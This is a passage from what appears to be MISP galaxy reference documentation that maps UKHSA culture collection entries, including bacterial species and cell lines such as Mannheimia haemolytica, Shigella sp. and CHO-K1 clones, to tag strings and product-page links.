https://www.culturecollections.org.uk/nop/product/neisseria-lactamica-3
https://www.culturecollections.org.uk/nop/product/neisseria-lactamica

Bordetella parapertussis

The tag is: *misp-galaxy:ukhsa-culture-collections="Bordetella parapertussis"*

Table 28961. Table References

Links
https://www.culturecollections.org.uk/nop/product/bordetella-parapertussis-8
https://www.culturecollections.org.uk/nop/product/bordetella-parapertussis-6
https://www.culturecollections.org.uk/nop/product/bordetella-parapertussis-4
https://www.culturecollections.org.uk/nop/product/bordetella-parapertussis-10
https://www.culturecollections.org.uk/nop/product/bordetella-parapertussis-5

https://www.culturecollections.org.uk/nop/product/bordetella-parapertussis-9
https://www.culturecollections.org.uk/nop/product/bordetella-parapertussis-7
https://www.culturecollections.org.uk/nop/product/bordetella-parapertussis
https://www.culturecollections.org.uk/nop/product/bordetella-parapertussis-11
https://www.culturecollections.org.uk/nop/product/bordetella-parapertussis-2
https://www.culturecollections.org.uk/nop/product/bordetella-parapertussis-3

Pseudomonas stutzeri

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas stutzeri"*

Table 28962. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-stutzeri
https://www.culturecollections.org.uk/nop/product/pseudomonas-stutzeri-4
https://www.culturecollections.org.uk/nop/product/pseudomonas-stutzeri-3
https://www.culturecollections.org.uk/nop/product/pseudomonas-stutzeri-2

Pseudomonas fluorescens

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas fluorescens"*

Table 28963. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-fluorescens-4
https://www.culturecollections.org.uk/nop/product/pseudomonas-fluorescens-3
https://www.culturecollections.org.uk/nop/product/pseudomonas-fluorescens-2
https://www.culturecollections.org.uk/nop/product/pseudomonas-fluorescens
https://www.culturecollections.org.uk/nop/product/pseudomonas-fluorescens-5

Streptococcus equinus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus equinus"*

Table 28964. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-equinus-2
https://www.culturecollections.org.uk/nop/product/streptococcus-equinus
https://www.culturecollections.org.uk/nop/product/streptococcus-equinus-3

Neisseria canis

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria canis"*

Table 28965. Table References

Links
https://www.culturecollections.org.uk/nop/product/neisseria-canis

Neisseria cinerea

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria cinerea"*

Table 28966. Table References

Links
https://www.culturecollections.org.uk/nop/product/neisseria-cinerea

Streptococcus sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus sp."*

Table 28967. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-32
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-31
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-30
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-13
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-24
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-43
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-42
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-41
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-40
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-39
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-37
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-36
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-35
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-34
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-33
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-29

https://www.culturecollections.org.uk/nop/product/streptococcus-sp-28
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-27
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-23
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-22
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-21
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-20
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-19
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-18
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-17
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-16
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-15
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-14
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-12
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-11
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-10
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-2
https://www.culturecollections.org.uk/nop/product/streptococcus-sp
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-9
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-8
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-7
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-6
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-5
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-4
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-3
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-44
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-38
https://www.culturecollections.org.uk/nop/product/streptococcus-sp-26

Achromobacter spanios

The tag is: *misp-galaxy:ukhsa-culture-collections="Achromobacter spanios"*

Table 28968. Table References

Links
https://www.culturecollections.org.uk/nop/product/achromobacter-spanios

Neisseria animalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria animalis"*

Table 28969. Table References

Links
https://www.culturecollections.org.uk/nop/product/neisseria-animalis

Pasteurella multocida subsp. gallicida

The tag is: *misp-galaxy:ukhsa-culture-collections="Pasteurella multocida subsp. gallicida"*

Table 28970. Table References

Links
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-subsp-gallicida

Pseudomonas putida

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas putida"*

Table 28971. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-putida-5
https://www.culturecollections.org.uk/nop/product/pseudomonas-putida-4
https://www.culturecollections.org.uk/nop/product/pseudomonas-putida-2
https://www.culturecollections.org.uk/nop/product/pseudomonas-putida-3
https://www.culturecollections.org.uk/nop/product/pseudomonas-putida

Mycoplasma synoviae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma synoviae"*

Table 28972. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-synoviae

Streptomyces griseus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptomyces griseus"*

Table 28973. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptomyces-griseus-3
https://www.culturecollections.org.uk/nop/product/streptomyces-griseus-2
https://www.culturecollections.org.uk/nop/product/streptomyces-griseus

Stenotrophomonas africana

The tag is: *misp-galaxy:ukhsa-culture-collections="Stenotrophomonas africana"*

Table 28974. Table References

Links
https://www.culturecollections.org.uk/nop/product/stenotrophomonas-africana

Bartonella quintana

The tag is: *misp-galaxy:ukhsa-culture-collections="Bartonella quintana"*

Table 28975. Table References

Links
https://www.culturecollections.org.uk/nop/product/bartonella-quintana

Chromobacterium violaceum

The tag is: *misp-galaxy:ukhsa-culture-collections="Chromobacterium violaceum"*

Table 28976. Table References

Links
https://www.culturecollections.org.uk/nop/product/chromobacterium-violaceum-14
https://www.culturecollections.org.uk/nop/product/chromobacterium-violaceum-2
https://www.culturecollections.org.uk/nop/product/chromobacterium-violaceum-12
https://www.culturecollections.org.uk/nop/product/chromobacterium-violaceum-15
https://www.culturecollections.org.uk/nop/product/chromobacterium-violaceum-3
https://www.culturecollections.org.uk/nop/product/chromobacterium-violaceum-7
https://www.culturecollections.org.uk/nop/product/chromobacterium-violaceum-8
https://www.culturecollections.org.uk/nop/product/chromobacterium-violaceum-6
https://www.culturecollections.org.uk/nop/product/chromobacterium-violaceum-13
https://www.culturecollections.org.uk/nop/product/chromobacterium-violaceum
https://www.culturecollections.org.uk/nop/product/chromobacterium-violaceum-5
https://www.culturecollections.org.uk/nop/product/chromobacterium-violaceum-4

https://www.culturecollections.org.uk/nop/product/chromobacterium-violaceum-9
https://www.culturecollections.org.uk/nop/product/chromobacterium-violaceum-10
https://www.culturecollections.org.uk/nop/product/chromobacterium-violaceum-11

Streptococcus cristatus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus cristatus"*

Table 28977. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-cristatus

Enterococcus malodoratus

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterococcus malodoratus"*

Table 28978. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterococcus-malodoratus-2
https://www.culturecollections.org.uk/nop/product/enterococcus-malodoratus

Mannheimia haemolytica

The tag is: *misp-galaxy:ukhsa-culture-collections="Mannheimia haemolytica"*

Table 28979. Table References

Links
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-30
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-9
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-10
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-13
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-19
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-29
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-31
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-32
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-36
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-41
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-40

https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-3
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-8
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-11
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-15
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-18
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-20
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-21
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-23
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-24
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-25
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-34
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-4
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-6
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-12
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-16
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-22
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-28
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-39
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-7
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-17
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-38
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-5
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-14
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-26
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-27
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-33
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-35
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-37
https://www.culturecollections.org.uk/nop/product/mannheimia-haemolytica-2

Staphylococcus lentus

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus lentus"*

Table 28980. Table References

Links

https://www.culturecollections.org.uk/nop/product/staphylococcus-lentus

Pseudomonas luteola

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas luteola"*

Table 28981. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-luteola-2
https://www.culturecollections.org.uk/nop/product/pseudomonas-luteola

Streptococcus equisimilis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus equisimilis"*

Table 28982. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-equisimilis-4
https://www.culturecollections.org.uk/nop/product/streptococcus-equisimilis
https://www.culturecollections.org.uk/nop/product/streptococcus-equisimilis-2
https://www.culturecollections.org.uk/nop/product/streptococcus-equisimilis-3

Streptococcus macacae

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus macacae"*

Table 28983. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-macacae

Actinobacillus equuli

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinobacillus equuli"*

Table 28984. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinobacillus-equuli-2
https://www.culturecollections.org.uk/nop/product/actinobacillus-equuli-3
https://www.culturecollections.org.uk/nop/product/actinobacillus-equuli-6
https://www.culturecollections.org.uk/nop/product/actinobacillus-equuli-7

https://www.culturecollections.org.uk/nop/product/actinobacillus-equuli-4
https://www.culturecollections.org.uk/nop/product/actinobacillus-equuli-5
https://www.culturecollections.org.uk/nop/product/actinobacillus-equuli

Legionella oakridgensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella oakridgensis"*

Table 28985. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-oakridgensis

Legionella longbeachae

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella longbeachae"*

Table 28986. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-longbeachae-2
https://www.culturecollections.org.uk/nop/product/legionella-longbeachae

Chryseobacterium gleum

The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium gleum"*

Table 28987. Table References

Links
https://www.culturecollections.org.uk/nop/product/chryseobacterium-gleum-2
https://www.culturecollections.org.uk/nop/product/chryseobacterium-gleum-4
https://www.culturecollections.org.uk/nop/product/chryseobacterium-gleum
https://www.culturecollections.org.uk/nop/product/chryseobacterium-gleum-3

Sphingobacterium thalpophilum

The tag is: *misp-galaxy:ukhsa-culture-collections="Sphingobacterium thalpophilum"*

Table 28988. Table References

Links
https://www.culturecollections.org.uk/nop/product/sphingobacterium-thalpophilum
https://www.culturecollections.org.uk/nop/product/sphingobacterium-thalpophilum-2

https://www.culturecollections.org.uk/nop/product/sphingobacterium-thalpophilum-3

Sphingobacterium spiritivorum

The tag is: *misp-galaxy:ukhsa-culture-collections="Sphingobacterium spiritivorum"*

Table 28989. Table References

Links
https://www.culturecollections.org.uk/nop/product/sphingobacterium-spiritivorum
https://www.culturecollections.org.uk/nop/product/sphingobacterium-spiritivorum-3
https://www.culturecollections.org.uk/nop/product/sphingobacterium-spiritivorum-5
https://www.culturecollections.org.uk/nop/product/sphingobacterium-spiritivorum-4
https://www.culturecollections.org.uk/nop/product/sphingobacterium-spiritivorum-2

Sphingobacterium multivorum

The tag is: *misp-galaxy:ukhsa-culture-collections="Sphingobacterium multivorum"*

Table 28990. Table References

Links
https://www.culturecollections.org.uk/nop/product/sphingobacterium-multivorum-3
https://www.culturecollections.org.uk/nop/product/sphingobacterium-multivorum
https://www.culturecollections.org.uk/nop/product/sphingobacterium-multivorum-2

Staphylococcus capitis

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus capitis"*

Table 28991. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-capitis

Staphylococcus cohnii

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus cohnii"*

Table 28992. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-cohnii-2
https://www.culturecollections.org.uk/nop/product/staphylococcus-cohnii

Sphingomonas paucimobilis

The tag is: *misp-galaxy:ukhsa-culture-collections="Sphingomonas paucimobilis"*

Table 28993. Table References

Links
https://www.culturecollections.org.uk/nop/product/sphingomonas-paucimobilis
https://www.culturecollections.org.uk/nop/product/sphingomonas-paucimobilis-3
https://www.culturecollections.org.uk/nop/product/sphingomonas-paucimobilis-2

Pseudomonas lemoignei

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas lemoignei"*

Table 28994. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-lemoignei

Vibrio parahaemolyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Vibrio parahaemolyticus"*

Table 28995. Table References

Links
https://www.culturecollections.org.uk/nop/product/vibrio-parahaemolyticus-5
https://www.culturecollections.org.uk/nop/product/vibrio-parahaemolyticus-3
https://www.culturecollections.org.uk/nop/product/vibrio-parahaemolyticus-2
https://www.culturecollections.org.uk/nop/product/vibrio-parahaemolyticus-6
https://www.culturecollections.org.uk/nop/product/vibrio-parahaemolyticus-4
https://www.culturecollections.org.uk/nop/product/vibrio-parahaemolyticus-10
https://www.culturecollections.org.uk/nop/product/vibrio-parahaemolyticus-13
https://www.culturecollections.org.uk/nop/product/vibrio-parahaemolyticus-7
https://www.culturecollections.org.uk/nop/product/vibrio-parahaemolyticus-9
https://www.culturecollections.org.uk/nop/product/vibrio-parahaemolyticus
https://www.culturecollections.org.uk/nop/product/vibrio-parahaemolyticus-8
https://www.culturecollections.org.uk/nop/product/vibrio-parahaemolyticus-11
https://www.culturecollections.org.uk/nop/product/vibrio-parahaemolyticus-12

Streptococcus salivarius

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus salivarius"*

Table 28996. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-salivarius
https://www.culturecollections.org.uk/nop/product/streptococcus-salivarius-3
https://www.culturecollections.org.uk/nop/product/streptococcus-salivarius-2

Pseudomonas pseudoalcaligenes subsp. pseudoalcaligenes

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas pseudoalcaligenes subsp. pseudoalcaligenes"*

Table 28997. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-pseudoalcaligenes-subsp-pseudoalcaligenes

Jonesia denitrificans

The tag is: *misp-galaxy:ukhsa-culture-collections="Jonesia denitrificans"*

Table 28998. Table References

Links
https://www.culturecollections.org.uk/nop/product/jonesia-denitrificans

Achromobacter xylosoxidans subsp. xylosoxidans

The tag is: *misp-galaxy:ukhsa-culture-collections="Achromobacter xylosoxidans subsp. xylosoxidans"*

Table 28999. Table References

Links
https://www.culturecollections.org.uk/nop/product/achromobacter-xylosoxidans-subsp-xylosoxidans-2
https://www.culturecollections.org.uk/nop/product/achromobacter-xylosoxidans-subsp-xylosoxidans
https://www.culturecollections.org.uk/nop/product/achromobacter-xylosoxidans-subsp-xylosoxidans-3

Clostridium histolyticum

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium histolyticum"*

Table 29000. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-histolyticum
https://www.culturecollections.org.uk/nop/product/clostridium-histolyticum-4
https://www.culturecollections.org.uk/nop/product/clostridium-histolyticum-2
https://www.culturecollections.org.uk/nop/product/clostridium-histolyticum-3

Neisseria sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria sp."*

Table 29001. Table References

Links
https://www.culturecollections.org.uk/nop/product/neisseria-sp

Moraxella nonliquefaciens

The tag is: *misp-galaxy:ukhsa-culture-collections="Moraxella nonliquefaciens"*

Table 29002. Table References

Links
https://www.culturecollections.org.uk/nop/product/moraxella-nonliquefaciens-2
https://www.culturecollections.org.uk/nop/product/moraxella-nonliquefaciens

Brachybacterium nesterenkovii

The tag is: *misp-galaxy:ukhsa-culture-collections="Brachybacterium nesterenkovii"*

Table 29003. Table References

Links
https://www.culturecollections.org.uk/nop/product/brachybacterium-nesterenkovii

Streptomyces sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptomyces sp."*

Table 29004. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptomyces-sp
https://www.culturecollections.org.uk/nop/product/streptomyces-sp-4
https://www.culturecollections.org.uk/nop/product/streptomyces-sp-3
https://www.culturecollections.org.uk/nop/product/streptomyces-sp-2

Staphylococcus sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus sp."*

Table 29005. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-sp-2
https://www.culturecollections.org.uk/nop/product/staphylococcus-sp

Shigella sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Shigella sp."*

Table 29006. Table References

Links
https://www.culturecollections.org.uk/nop/product/shigella-sp-9
https://www.culturecollections.org.uk/nop/product/shigella-sp-8
https://www.culturecollections.org.uk/nop/product/shigella-sp-7
https://www.culturecollections.org.uk/nop/product/shigella-sp-6
https://www.culturecollections.org.uk/nop/product/shigella-sp
https://www.culturecollections.org.uk/nop/product/shigella-sp-3
https://www.culturecollections.org.uk/nop/product/shigella-sp-2
https://www.culturecollections.org.uk/nop/product/shigella-sp-4
https://www.culturecollections.org.uk/nop/product/shigella-sp-5

Sarcina sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Sarcina sp."*

Table 29007. Table References

Links
https://www.culturecollections.org.uk/nop/product/sarcina-sp

Pseudomonas sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas sp."*

Table 29008. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-sp-4
https://www.culturecollections.org.uk/nop/product/pseudomonas-sp-3
https://www.culturecollections.org.uk/nop/product/pseudomonas-sp-2
https://www.culturecollections.org.uk/nop/product/pseudomonas-sp
https://www.culturecollections.org.uk/nop/product/pseudomonas-sp-5

Pasteurella sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Pasteurella sp."*

Table 29009. Table References

Links
https://www.culturecollections.org.uk/nop/product/pasteurella-sp-2
https://www.culturecollections.org.uk/nop/product/pasteurella-sp

Nocardia sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Nocardia sp."*

Table 29010. Table References

Links
https://www.culturecollections.org.uk/nop/product/nocardia-sp

Moraxella bovis

The tag is: *misp-galaxy:ukhsa-culture-collections="Moraxella bovis"*

Table 29011. Table References

Links
https://www.culturecollections.org.uk/nop/product/moraxella-bovis-4
https://www.culturecollections.org.uk/nop/product/moraxella-bovis-3
https://www.culturecollections.org.uk/nop/product/moraxella-bovis-2
https://www.culturecollections.org.uk/nop/product/moraxella-bovis

Micrococcus sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Micrococcus sp."*

Table 29012. Table References

Links
https://www.culturecollections.org.uk/nop/product/micrococcus-sp-2
https://www.culturecollections.org.uk/nop/product/micrococcus-sp

Klebsiella sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Klebsiella sp."*

Table 29013. Table References

Links
https://www.culturecollections.org.uk/nop/product/klebsiella-sp-11
https://www.culturecollections.org.uk/nop/product/klebsiella-sp-10
https://www.culturecollections.org.uk/nop/product/klebsiella-sp-9
https://www.culturecollections.org.uk/nop/product/klebsiella-sp-8
https://www.culturecollections.org.uk/nop/product/klebsiella-sp-7
https://www.culturecollections.org.uk/nop/product/klebsiella-sp-6
https://www.culturecollections.org.uk/nop/product/klebsiella-sp-5
https://www.culturecollections.org.uk/nop/product/klebsiella-sp-2
https://www.culturecollections.org.uk/nop/product/klebsiella-sp
https://www.culturecollections.org.uk/nop/product/klebsiella-sp-4
https://www.culturecollections.org.uk/nop/product/klebsiella-sp-3

Helicobacter sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Helicobacter sp."*

Table 29014. Table References

Links
https://www.culturecollections.org.uk/nop/product/helicobacter-sp

Haemophilus sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Haemophilus sp."*

Table 29015. Table References

Links
https://www.culturecollections.org.uk/nop/product/haemophilus-sp

Chryseobacterium taklimakanense

The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium taklimakanense"*

Table 29016. Table References

Links
https://www.culturecollections.org.uk/nop/product/chryseobacterium-taklimakanense

Capnocytophaga sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Capnocytophaga sp."*

Table 29017. Table References

Links
https://www.culturecollections.org.uk/nop/product/capnocytophaga-sp-2
https://www.culturecollections.org.uk/nop/product/capnocytophaga-sp

Campylobacter sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter sp."*

Table 29018. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-sp

Serratia proteamaculans subsp. quinovora

The tag is: *misp-galaxy:ukhsa-culture-collections="Serratia proteamaculans subsp. quinovora"*

Table 29019. Table References

Links
https://www.culturecollections.org.uk/nop/product/serratia-proteamaculans-subsp-quinovora-6
https://www.culturecollections.org.uk/nop/product/serratia-proteamaculans-subsp-quinovora-5
https://www.culturecollections.org.uk/nop/product/serratia-proteamaculans-subsp-quinovora-4
https://www.culturecollections.org.uk/nop/product/serratia-proteamaculans-subsp-quinovora-3
https://www.culturecollections.org.uk/nop/product/serratia-proteamaculans-subsp-quinovora-2
https://www.culturecollections.org.uk/nop/product/serratia-proteamaculans-subsp-quinovora

Listeria grayi subsp. grayi

The tag is: *misp-galaxy:ukhsa-culture-collections="Listeria grayi subsp. grayi"*

Table 29020. Table References

Links
https://www.culturecollections.org.uk/nop/product/listeria-grayi-subsp-grayi

Listeria grayi subsp. murrayi

The tag is: *misp-galaxy:ukhsa-culture-collections="Listeria grayi subsp. murrayi"*

Table 29021. Table References

Links
https://www.culturecollections.org.uk/nop/product/listeria-grayi-subsp-murrayi
https://www.culturecollections.org.uk/nop/product/listeria-grayi-subsp-murrayi-2
https://www.culturecollections.org.uk/nop/product/listeria-grayi-subsp-murrayi-3

NCTC 4206

The tag is: *misp-galaxy:ukhsa-culture-collections="NCTC 4206"*

Table 29022. Table References

Links
https://www.culturecollections.org.uk/nop/product/nctc-4206

Moraxella saccharolytica

The tag is: *misp-galaxy:ukhsa-culture-collections="Moraxella saccharolytica"*

Table 29023. Table References

Links
https://www.culturecollections.org.uk/nop/product/moraxella-saccharolytica

OAW42

The tag is: *misp-galaxy:ukhsa-culture-collections="OAW42"*

Table 29024. Table References

Links
https://www.culturecollections.org.uk/nop/product/oaw42

CHO-K1.Cl6

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-K1.Cl6"*

Table 29025. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-k1cl6-3

CHO-K1.Cl-0236

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-K1.Cl-0236"*

Table 29026. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-k1cl-0236-2

CHO-K1.Cl-0206

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-K1.Cl-0206"*

Table 29027. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-k1cl-0206

CHO-K1.Cl-0205

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-K1.Cl-0205"*

Table 29028. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-k1cl-0205

CHO-K1.Cl-0204

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-K1.Cl-0204"*

Table 29029. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-k1cl-0204

CHO-K1.Cl7

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-K1.Cl7"*

Table 29030. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-k1cl7

ARLJ 301-3

The tag is: *misp-galaxy:ukhsa-culture-collections="ARLJ 301-3"*

Table 29031. Table References

Links
https://www.culturecollections.org.uk/nop/product/arlj-301-3

DD2997

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2997"*

Table 29032. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2997

DD0882

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0882"*

Table 29033. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0882

DD0498

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0498"*

Table 29034. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0498

BO2216

The tag is: *misp-galaxy:ukhsa-culture-collections="BO2216"*

Table 29035. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo2216

RENTts1.1

The tag is: *misp-galaxy:ukhsa-culture-collections="RENTts1.1"*

Table 29036. Table References

Links
https://www.culturecollections.org.uk/nop/product/rentts11

P1.HTR.TK-

The tag is: *misp-galaxy:ukhsa-culture-collections="P1.HTR.TK-"*

Table 29037. Table References

Links
https://www.culturecollections.org.uk/nop/product/p1htrtk-

P1.HTR

The tag is: *misp-galaxy:ukhsa-culture-collections="P1.HTR"*

Table 29038. Table References

Links
https://www.culturecollections.org.uk/nop/product/p1htr

OX-23

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-23"*

Table 29039. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-23

F12

The tag is: *misp-galaxy:ukhsa-culture-collections="F12"*

Table 29040. Table References

Links
https://www.culturecollections.org.uk/nop/product/f12

4SB3

The tag is: *misp-galaxy:ukhsa-culture-collections="4SB3"*

Table 29041. Table References

Links
https://www.culturecollections.org.uk/nop/product/4sb3

DBB

The tag is: *misp-galaxy:ukhsa-culture-collections="DBB"*

Table 29042. Table References

Links
https://www.culturecollections.org.uk/nop/product/dbb

Streptococcus bovis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus bovis"*

Table 29043. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-bovis-2
https://www.culturecollections.org.uk/nop/product/streptococcus-bovis-3

Chryseobacterium shigense

The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium shigense"*

Table 29044. Table References

Links
https://www.culturecollections.org.uk/nop/product/chryseobacterium-shigense
https://www.culturecollections.org.uk/nop/product/chryseobacterium-shigense-2

Streptococcus salivarius subsp. thermophilus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus salivarius subsp. thermophilus"*

Table 29045. Table References

Links
